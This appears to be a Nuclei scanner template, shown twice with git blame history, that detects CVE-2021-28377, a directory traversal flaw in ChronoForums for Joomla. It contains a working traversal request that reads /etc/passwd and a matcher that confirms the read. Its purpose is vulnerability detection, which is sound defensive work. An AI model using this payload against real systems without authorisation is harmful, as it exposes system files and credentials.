nuclei-templates/cves/2021/CVE-2021-28377.yaml

id: CVE-2021-28377

info:
  name: ChronoForums 2.0.11 - Directory Traversal
  author: 0x_Akoko
  severity: high
  description: The ChronoForums avatar function is vulnerable through unauthenticated path traversal attacks. This enables unauthenticated attackers to read arbitrary files, like for instance Joomla's configuration
    file containing secret credentials.
  reference:
    - https://herolab.usd.de/en/security-advisories/usd-2021-0007/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-28377
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:L
    cvss-score: 7.5
    cve-id: CVE-2021-28377
    cwe-id: CWE-200
  tags: cve,cve2021,chronoforums,lfi,joomla

requests:
  - method: GET
    path:
      - "{{BaseURL}}/index.php/component/chronoforums2/profiles/avatar/u1?tvout=file&av=../../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
Create CVE-2021-28377.yaml 2022-04-01 10:02:22 +00:00			`id: CVE-2021-28377`
refactor: Description field uniformization * info field reorder * reference values refactored to list * added new lines after the id and before the protocols * removed extra new lines * split really long descriptions to multiple lines (part 1) * other minor fixes 2022-04-22 10:38:41 +00:00
Create CVE-2021-28377.yaml 2022-04-01 10:02:22 +00:00			`info:`
			`name: ChronoForums 2.0.11 - Directory Traversal`
			`author: 0x_Akoko`
			`severity: high`
refactor: Description field uniformization * info field reorder * reference values refactored to list * added new lines after the id and before the protocols * removed extra new lines * split really long descriptions to multiple lines (part 1) * other minor fixes 2022-04-22 10:38:41 +00:00			`description: The ChronoForums avatar function is vulnerable through unauthenticated path traversal attacks. This enables unauthenticated attackers to read arbitrary files, like for instance Joomla's configuration`
			`file containing secret credentials.`
Create CVE-2021-28377.yaml 2022-04-01 10:02:22 +00:00			`reference:`
			`- https://herolab.usd.de/en/security-advisories/usd-2021-0007/`
			`- https://nvd.nist.gov/vuln/detail/CVE-2021-28377`
			`classification:`
			`cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:L`
			`cvss-score: 7.5`
			`cve-id: CVE-2021-28377`
			`cwe-id: CWE-200`
Update and rename CVE-2021-28377.yaml to cves/2017/CVE-2021-28377.yaml 2022-04-02 07:53:16 +00:00			`tags: cve,cve2021,chronoforums,lfi,joomla`
Create CVE-2021-28377.yaml 2022-04-01 10:02:22 +00:00
			`requests:`
			`- method: GET`
			`path:`
			`- "{{BaseURL}}/index.php/component/chronoforums2/profiles/avatar/u1?tvout=file&av=../../../../../../../etc/passwd"`

			`matchers-condition: and`
			`matchers:`
			`- type: regex`
			`regex:`
Update and rename CVE-2021-28377.yaml to cves/2017/CVE-2021-28377.yaml 2022-04-02 07:53:16 +00:00			`- "root:.*:0:0:"`
Create CVE-2021-28377.yaml 2022-04-01 10:02:22 +00:00
			`- type: status`
			`status:`
			`- 200`